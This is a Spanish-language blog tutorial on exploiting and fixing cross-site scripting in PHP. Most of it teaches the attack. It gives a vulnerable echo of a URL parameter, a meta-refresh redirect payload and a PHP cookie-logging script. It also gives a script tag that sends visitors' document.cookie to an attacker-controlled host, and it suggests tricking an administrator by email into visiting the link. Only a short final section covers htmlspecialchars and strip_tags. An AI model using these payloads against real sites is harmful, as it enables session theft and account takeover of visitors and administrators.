El siguiente tutorial esta escrito por mi 100%, en el podreis ver como vulnerar o fixear(reparar) un XSS. Lo podeis ver en mi blog, http://4cosas.comDefinicionEl XSS es un ataque explotando una inyeccion HTML en un sistema web. Mucha gente piensa el que solo sirva para redireccionar las visitas d ela web victima a otra web, deformar la web victima, etc...
Codigo Vulnerable:Un ejemplo de vulnerabilidad XSS seria...
<?
echo $_GET['id'];
?>
le entramos desde file.php?id=hola <h1>capullo</h1> y como veremos sale la frase "hola capullo" con la palbra capullo en negrita, lo que significa que se puede meter codigo HTML desde una variable en la url.
Como explotar un XSSHay miles de formas de explotar un XSS, su por ejemplo se tratara de un tagboard vulnerable a XSS en los mensajes y te interesa redireccionar las viistas de la web pues tan solo bastaria con meter un code HTML de redireccion, por ejemplo:
<META HTTP-EQUIV='Refresh' CONTENT='1; URL=http://4cosas.com/hacked.html'>
ese code redireccionaria las visitas, ideal para tags, guestbooks, etc.
Tambien podemos explotar el XSS robando las cookies del usuario, ahora es cuando tambien entra la ingenieria social, seria el hacer que el admin entre a una url, enviandole un email diciendole k entro o yo que se, eso lo pensais vosotros Para robarle las cookies deberiamos crear antes que nada nosotros un code php como el siguiente:
<?php
$archivo = fopen('log.htm','a');
$ip = getenv ('REMOTE_ADDR');
$re = $HTTPREFERRER;
$fecha=date("j F, Y, g:i a");
fwrite($archivo, '<br>Cookies de usuario de'.$re.'.<br>IP:'.$ip.'<br>Fecha:'.$fecha.'<br>Cookies:<br>'.$_GET['c'].'<br>');
fclose($archivo);
?>Lo llamaremos log.php por dar un ejemplo, y crearemos el archivo log.htm donde se guardaran las cookies que robemos. Ahora para robar las cookies lo que tenemos que hacer es meter el siguiente script en la web vulnerable:
<script>window.location='http://tuweb.com/log.php?c='+document.cookie;</script>
la persona que visite la web vulnerable infectada por ese code se le robaran sus cookies. Asi de simple podremos explotar el XSS.
Protegerse de XSSPara protegernos de XSS el php ofrece distintas funciones. En este caso usaremos htmlspecialchars(), se usaria asi:
<?
echo htmlspecialchars($_GET['id']);
?>de esta forma mostrara el HTML, pero no lo ejecutara. Si por el contrario quieres que borre todo el HTML, es decir que ni lo muestre usariamos la funcion strip_tags(), esta borra todo codigo HTML.